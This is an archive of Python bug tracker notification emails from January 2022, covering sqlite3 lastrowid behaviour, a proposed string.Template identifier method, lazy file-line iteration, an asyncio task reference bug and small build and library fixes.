<1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641671091.44.0.699503022028.issue46301@roundup.psfhosted.org> Change by Ethan Furman : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:02:25 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 20:02:25 +0000 Subject: [issue46141] Fix ipaddress.ip_network TypeErrors In-Reply-To: <1640040544.01.0.288057218729.issue46141@roundup.psfhosted.org> Message-ID: <1641672145.29.0.86323477647.issue46141@roundup.psfhosted.org> Change by Tal Einat : ---------- nosy: +pmoody, taleinat stage: -> patch review status: pending -> open versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:05:52 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 20:05:52 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641672352.19.0.249486602185.issue46261@roundup.psfhosted.org> Tal Einat added the comment: New changeset 987fba102e909229dd2aa1a6115aa28d514c1818 by Miss Islington (bot) in branch '3.10': bpo-46261: Update `sqlite3.Cursor.lastrowid` docs (GH-30407) https://github.com/python/cpython/commit/987fba102e909229dd2aa1a6115aa28d514c1818 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:06:17 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 20:06:17 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641672377.47.0.85164929836.issue46261@roundup.psfhosted.org> Tal Einat added the comment: New changeset b29aa71090e4dd34900660ecca8bb62667440f41 by Miss Islington (bot) in branch '3.9': [3.9] bpo-46261: Update `sqlite3.Cursor.lastrowid` docs (GH-30407) https://github.com/python/cpython/commit/b29aa71090e4dd34900660ecca8bb62667440f41 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:06:51 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 Jan 2022 20:06:51 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641672411.38.0.462086770069.issue46261@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:07:15 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 20:07:15 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641672435.23.0.614764284043.issue46261@roundup.psfhosted.org> Tal Einat added the comment: Thanks for this, Erlend! ---------- stage: resolved -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:07:55 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 20:07:55 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641672475.98.0.840238371214.issue46261@roundup.psfhosted.org> Change by Tal Einat : ---------- stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:12:29 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sat, 08 Jan 2022 20:12:29 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers Message-ID: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> New submission from Ben Kehoe : Currently, the only thing that can be done with a string.Template instance and a mapping is either attempt to substitute with substitute() and catch a KeyError if some identifier has not been provided in the mapping, or substitute with safe_substitute() and not know whether all identifiers were provided. I propose adding a method that returns the identifiers in the template. Because the template string and pattern are exposed, this is already possible as a separate function: def get_identifiers(template): return list( set( filter( lambda v: v is not None, (mo.group('named') or mo.group('braced') for mo in template.pattern.finditer(template.template)) ) ) ) However, this function is not easy for a user of string.Template to construct without learning how the template pattern works (which is documented but intended to be learned only when subclassing or modifying id patterns). As a method on string.Template, this would enable use cases like more comprehensive error handling (e.g., finding all missing mapping keys at once) or interactive prompting. ---------- components: Library (Lib) messages: 410112 nosy: ben11kehoe priority: normal severity: normal status: open title: string.Template should allow inspection of identifiers type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:13:49 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 20:13:49 +0000 Subject: [issue46306] Suspicious operation in `doctest.py`: `None - 1` In-Reply-To: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> Message-ID: <1641672829.91.0.632107082254.issue46306@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 0fc58c1e051026baff4919d8519ce2aabe3b2ba1 by Nikita Sobolev in branch 'main': bpo-46306: simplify `CodeType` attribute access in `doctest.py` (GH-30481) https://github.com/python/cpython/commit/0fc58c1e051026baff4919d8519ce2aabe3b2ba1 ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:14:43 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 20:14:43 +0000 Subject: [issue46306] Suspicious operation in `doctest.py`: `None - 1` In-Reply-To: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> Message-ID: <1641672883.02.0.831329634041.issue46306@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:42:45 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 08 Jan 2022 20:42:45 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641674565.28.0.201140333099.issue46304@roundup.psfhosted.org> Jason R. Coombs added the comment: Hi Eric. I did mention that option in my report, but that option requires loading the whole file into memory. I'd like something equivalent to the iterator that `open()` provides, which yields lines lazily. Serihy, thanks for the feedback. I do indeed not want to rely on the implicit closing of the file handle. I'd instead like a helper function/method that will close the file after the iterator is consumed. Something like: def read_lines(path): with path.open() as strm: yield from strm What I'm seeking is for that block to be placed somewhere in the stdlib so that I don't have to copy it into every project that needs/wants this behavior. ---------- type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:47:48 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 08 Jan 2022 20:47:48 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641674868.17.0.118345954065.issue46304@roundup.psfhosted.org> Dennis Sweeney added the comment: I think this might require something like PEP 533 in order to be safe. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 15:56:53 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 Jan 2022 20:56:53 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641675413.46.0.201951806785.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: Marc-Andr?: since Python 3.6, the sqlite3.Cursor.lastrowid attribute does no longer comply with the recommendations of PEP 249: Previously, lastrowid was set to None for operations other than INSERT or REPLACE. This changed with ab994ed8b97e1b0dac151ec827c857f5e7277565 (in Python 3.6), so that lastrowid is _unchanged_ for operations other than INSERT or REPLACE, and it is set to 0 after the first valid SQL (that is not INSERT/REPLACE) is executed on the cursor. Now, PEP 249 only _recommends_ that lastrowid is set to None for operations that do not modify a row, so it's probably not a big deal. No-one has ever mentioned this change in behaviour; there have been no bug reports. FTR, here is the relevant quote from PEP 249: If the operation does not set a rowid or if the database does not support rowids, this attribute should be set to None. (I interpret "should" as understood by RFC 2119.) So, my follow-up question becomes: I see no point in reverting to pre Python 3.6 behaviour. I would rather change the default value to be 0 (to get rid of the dirty flag in GH-30380), and to make the behaviour more consistent with how the actual SQLite API behaves. Do you have an opinion about such a change (in behaviour)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:12:12 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 Jan 2022 21:12:12 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641676332.31.0.982218363274.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: I see now that GH-30380 has grown a little bit out of scope, as it changes too many things at once: 1. Simplify the `execute()`/`executemany()` query loop 2. Create the lastrowid PyObject on demand, simplifying cursor GC 3. `lastrowid` is now available for all `execute*()` methods 4. The default value of `lastrowid` is now `0` It will be easier to reason about and review each change separately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:13:25 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 Jan 2022 21:13:25 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641676405.07.0.373022151066.issue46249@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28692 pull_request: https://github.com/python/cpython/pull/30489 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:17:57 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 08 Jan 2022 21:17:57 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641676677.43.0.736972777438.issue46304@roundup.psfhosted.org> Jason R. Coombs added the comment: Nice reference. Indeed, the [rationale](https://www.python.org/dev/peps/pep-0533/#id15) of that pep gives a similar example and the [background](https://www.python.org/dev/peps/pep-0533/#id3) describes the problem with the solution I've drafted above (it still depends on garbage collection to close the file). I guess that means that in general, it's not possible to accomplish what I'd like. As author of the PEP, I'm looping in njs. ---------- nosy: +njs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:31:36 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 08 Jan 2022 21:31:36 +0000 Subject: [issue46249] [sqlite3] lastrowid improvements In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641677496.97.0.0218363502924.issue46249@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: [sqlite3] move set lastrowid out of the query loop and enable it for executemany() -> [sqlite3] lastrowid improvements _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:31:40 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 08 Jan 2022 21:31:40 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641677500.6.0.590229293311.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: To close the loop, setuptools 60.4.0 should fix this, see https://github.com/pypa/setuptools/pull/3009. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:43:24 2022 From: report at bugs.python.org (Thomas Klausner) Date: Sat, 08 Jan 2022 21:43:24 +0000 Subject: [issue46308] Unportable test(1) operator in configure script Message-ID: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> New submission from Thomas Klausner : The configure script uses the test(1) '==' operator, which is only supported by bash. The standard comparison operator is '='. ---------- components: Installation messages: 410120 nosy: wiz priority: normal severity: normal status: open title: Unportable test(1) operator in configure script type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:43:57 2022 From: report at bugs.python.org (Jackson Brummell) Date: Sat, 08 Jan 2022 21:43:57 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641678237.84.0.0360780972576.issue46279@roundup.psfhosted.org> Jackson Brummell added the comment: Have updated the PR to be in line with the issues leading ideas, specifically Tal's suggestion. Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 16:46:25 2022 From: report at bugs.python.org (Thomas Klausner) Date: Sat, 08 Jan 2022 21:46:25 +0000 Subject: [issue46308] Unportable test(1) operator in configure script In-Reply-To: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> Message-ID: <1641678385.58.0.43349713962.issue46308@roundup.psfhosted.org> Change by Thomas Klausner : ---------- keywords: +patch pull_requests: +28693 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30490 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 17:32:41 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 22:32:41 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641681161.09.0.14150103158.issue46304@roundup.psfhosted.org> Eric V. Smith added the comment: I can't believe I missed that, Jason. I even read it twice! I think this could go in pathlib, along with read_text. Maybe read_lines, or iter_lines, or something. Of course PEP 533 is needed, too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 18:29:55 2022 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sat, 08 Jan 2022 23:29:55 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641684595.08.0.844314369188.issue46291@roundup.psfhosted.org> Vedran ?a?i? added the comment: Let me just say that I use `raise SystemExit` all the time. Beats `from sys import exit`, weird error messages about having to type parentheses, and surely beats "oh, am I on Windows so Ctrl+Z, or on Linux so Ctrl+D". :-] I also use `raise KeyboardInterrupt` sometimes in games, to test whether Ctrl+C handling works as expected at precise moments in the game (beats having to guess the millisecond in which to press Ctrl+C:). ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 18:35:55 2022 From: report at bugs.python.org (Simon Wrede) Date: Sat, 08 Jan 2022 23:35:55 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. Message-ID: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> New submission from Simon Wrede : Documentation states that a reference must be kept when creating a task, https://docs.python.org/3/library/asyncio-task.html#asyncio.create_task. This is not done in StreamReaderProtocol, https://github.com/python/cpython/blob/main/Lib/asyncio/streams.py#L244. I've provided a simple example to force garbage collection of this task which results in `Task was destroyed but it is pending!`. Uncommenting the commented code of the example shows that the task is not destroyed when a reference is kept. Am I missing something or using the library incorrectly? I've followed the examples at https://docs.python.org/3/library/asyncio-stream.html#tcp-echo-server-using-streams. ---------- components: asyncio files: example.py messages: 410124 nosy: asvetlov, simwr872, yselivanov priority: normal severity: normal status: open title: Task created by StreamReaderProtocol gets garbage collected. versions: Python 3.10 Added file: https://bugs.python.org/file50552/example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 18:37:52 2022 From: report at bugs.python.org (Simon Wrede) Date: Sat, 08 Jan 2022 23:37:52 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641685072.78.0.18778186128.issue46309@roundup.psfhosted.org> Change by Simon Wrede : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 18:46:34 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 08 Jan 2022 23:46:34 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641685594.72.0.847733108353.issue46307@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 19:45:14 2022 From: report at bugs.python.org (Thomas Klausner) Date: Sun, 09 Jan 2022 00:45:14 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641689114.34.0.259265964776.issue34602@roundup.psfhosted.org> Change by Thomas Klausner : ---------- nosy: +wiz nosy_count: 8.0 -> 9.0 pull_requests: +28694 pull_request: https://github.com/python/cpython/pull/30490 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 19:54:26 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 09 Jan 2022 00:54:26 +0000 Subject: [issue46308] Unportable test(1) operator in configure script In-Reply-To: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> Message-ID: <1641689665.99.0.733128415995.issue46308@roundup.psfhosted.org> Ned Deily added the comment: New changeset 3d11c1b8b49800c5c4c295953cc3abf577f6065a by Thomas Klausner in branch 'main': bpo-46308: Fix unportable test(1) operator in configure script (GH-30490) https://github.com/python/cpython/commit/3d11c1b8b49800c5c4c295953cc3abf577f6065a ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 19:54:26 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 09 Jan 2022 00:54:26 +0000 Subject: [issue46308] Unportable test(1) operator in configure script In-Reply-To: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> Message-ID: <1641689666.34.0.567106810178.issue46308@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28695 pull_request: https://github.com/python/cpython/pull/30491 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 19:56:06 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 09 Jan 2022 00:56:06 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641689766.82.0.101657506971.issue34602@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28696 pull_request: https://github.com/python/cpython/pull/30491 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 20:08:28 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 09 Jan 2022 01:08:28 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641690508.66.0.246945946755.issue34602@roundup.psfhosted.org> Ned Deily added the comment: New changeset b962544594c6a7c695330dd20fedffb3a1916ba6 by Miss Islington (bot) in branch '3.10': bpo-34602: Fix unportable test(1) operator in configure script (GH-30490) (GH-30491) https://github.com/python/cpython/commit/b962544594c6a7c695330dd20fedffb3a1916ba6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 20:11:38 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Sun, 09 Jan 2022 01:11:38 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641690698.99.0.437747618744.issue46307@roundup.psfhosted.org> Barry A. Warsaw added the comment: I've never personally needed this, but I could see where it could come in handy. I wonder if __iter__() would be the right API for that? I wonder then if we should also implement __contains__()? Would you be interested in creating a PR for the feature? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 21:21:31 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 09 Jan 2022 02:21:31 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641694891.67.0.77911862744.issue46148@roundup.psfhosted.org> Change by Barney Gale : ---------- nosy: +barneygale nosy_count: 8.0 -> 9.0 pull_requests: +28697 pull_request: https://github.com/python/cpython/pull/30492 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 21:51:18 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 02:51:18 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641696678.53.0.726743058591.issue46307@roundup.psfhosted.org> Ben Kehoe added the comment: Happy to make a PR! In my mind I had been thinking it would be the get_identifiers() method with the implementation above, returning a list. As for __iter__, I'm less clear on what that would look like: t = string.Template(...) for identifier in t: # what would I do here? # would it include repeats if they appear more than once in the template? I guess there are two ways to think about it: one is "what identifiers are in this template?" which I think should return a list with no repeats, which I can then iterate over or check if a value is in it. The other is, "what are the contents of the template?" in the style of string.Formatter.parse(). Given that string.Template is supposed to be the "simple, no-frills" thing in comparison to string.Formatter, I see less use for the latter option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 22:28:16 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Sun, 09 Jan 2022 03:28:16 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641696678.53.0.726743058591.issue46307@roundup.psfhosted.org> Message-ID: Barry A. Warsaw added the comment: I think you?re right that the iterator API isn?t very helpful. I also agree that you probably really want to answer the ?why identifiers are in this template?? question. As for repeats, there?s two ways to think about it. You could return all the identifiers in the order in which they?re found in the template (and you can unique-ify them if you want by passing that list to set()). But maybe you don?t really need that either. get_identifiers() works for me! On Jan 8, 2022, at 18:51, Ben Kehoe wrote: > > Ben Kehoe added the comment: > > Happy to make a PR! In my mind I had been thinking it would be the get_identifiers() method with the implementation above, returning a list. > > As for __iter__, I'm less clear on what that would look like: > > t = string.Template(...) > for identifier in t: > # what would I do here? > # would it include repeats if they appear more than once in the template? > > I guess there are two ways to think about it: one is "what identifiers are in this template?" which I think should return a list with no repeats, which I can then iterate over or check if a value is in it. The other is, "what are the contents of the template?" in the style of string.Formatter.parse(). > > Given that string.Template is supposed to be the "simple, no-frills" thing in comparison to string.Formatter, I see less use for the latter option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 22:43:54 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 03:43:54 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641699834.73.0.742786776813.issue46307@roundup.psfhosted.org> Change by Ben Kehoe : ---------- keywords: +patch pull_requests: +28698 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30493 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 22:49:10 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 03:49:10 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641700150.52.0.0928533331842.issue46307@roundup.psfhosted.org> Ben Kehoe added the comment: I opened a PR. By default, it raises an exception if there's an invalid identifier; there's a keyword argument raise_on_invalid to control that. The implementation I have adds them to a set first, which means the order is not guaranteed. I'm of two minds about this: if there's a big template, you want to gather the identifiers in a set so uniqueness is checked immediately and O(1) and without duplication. On the other hand, if templates are never very big, you could build a list (in order) and check it, O(N) style, or build a duplicate list and set in parallel. Or build a big list and check it at the end. I kind of think ordering doesn't matter? What would someone do with that information? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 23:44:07 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 09 Jan 2022 04:44:07 +0000 Subject: [issue46148] Optimize pathlib In-Reply-To: <1640163600.5.0.408738563991.issue46148@roundup.psfhosted.org> Message-ID: <1641703447.79.0.612561290995.issue46148@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 23:47:34 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 09 Jan 2022 04:47:34 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641703654.27.0.920660361164.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: Yup. All better: https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=1&revs=50&equid=off&quarts=on&extr=on ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 00:26:08 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 09 Jan 2022 05:26:08 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641705968.62.0.332634861765.issue46205@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 01:28:56 2022 From: report at bugs.python.org (Ethan Smith) Date: Sun, 09 Jan 2022 06:28:56 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1641709736.77.0.222131079497.issue40280@roundup.psfhosted.org> Change by Ethan Smith : ---------- pull_requests: +28700 pull_request: https://github.com/python/cpython/pull/30494 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 02:04:24 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 09 Jan 2022 07:04:24 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1641711864.83.0.0607129393816.issue46223@roundup.psfhosted.org> Andrew Svetlov added the comment: I guess applying '@reprlib.recursive_repr' decorator to 'events.Handle.__repr__()' function can help. Could you check, please? ---------- versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 02:20:55 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 09 Jan 2022 07:20:55 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641712855.42.0.99126241488.issue46309@roundup.psfhosted.org> Andrew Svetlov added the comment: Thanks for the bug report. Seems like your analysis is correct. Could you make a pull request which adds a task reference? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 02:42:51 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 09 Jan 2022 07:42:51 +0000 Subject: [issue23819] test_asyncio fails when run under -O In-Reply-To: <1427808695.9.0.385563565443.issue23819@psf.upfronthosting.co.za> Message-ID: <1641714171.76.0.524432118771.issue23819@roundup.psfhosted.org> Andrew Svetlov added the comment: Is anything left to do? ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 02:56:19 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 09 Jan 2022 07:56:19 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641714979.63.0.138657614159.issue46309@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 02:56:38 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 09 Jan 2022 07:56:38 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1641714998.54.0.851731234498.issue46223@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 04:11:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 09 Jan 2022 09:11:22 +0000 Subject: [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` Message-ID: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> New submission from Nikita Sobolev : This line https://github.com/python/cpython/blob/3d11c1b8b49800c5c4c295953cc3abf577f6065a/Lib/asyncio/windows_events.py#L842 uses `.items()`, but the key seems unsused. It would be better to use `.values()` there. 1. It is slightly faster, very generic benchmark: ``` import timeit cache = {i: (i, i + 1, None, f'a{i}') for i in range(1000)} timeit.timeit('list(cache.items())', number=1000, globals=locals()) # 0.18165644304826856 timeit.timeit('list(cache.values())', number=1000, globals=locals()) # 0.04786261299159378 ``` 2. It is more readable, because unused variables are not created And since it does not break anything, I think it is safe to refactor. ---------- assignee: sobolevn components: Library (Lib) messages: 410136 nosy: asvetlov, eric.araujo, sobolevn priority: normal severity: normal status: open title: Simplify `for` loop in `.close()` method in `asyncio/windows_events` type: behavior versions: Python 3.11 _______________________________________ 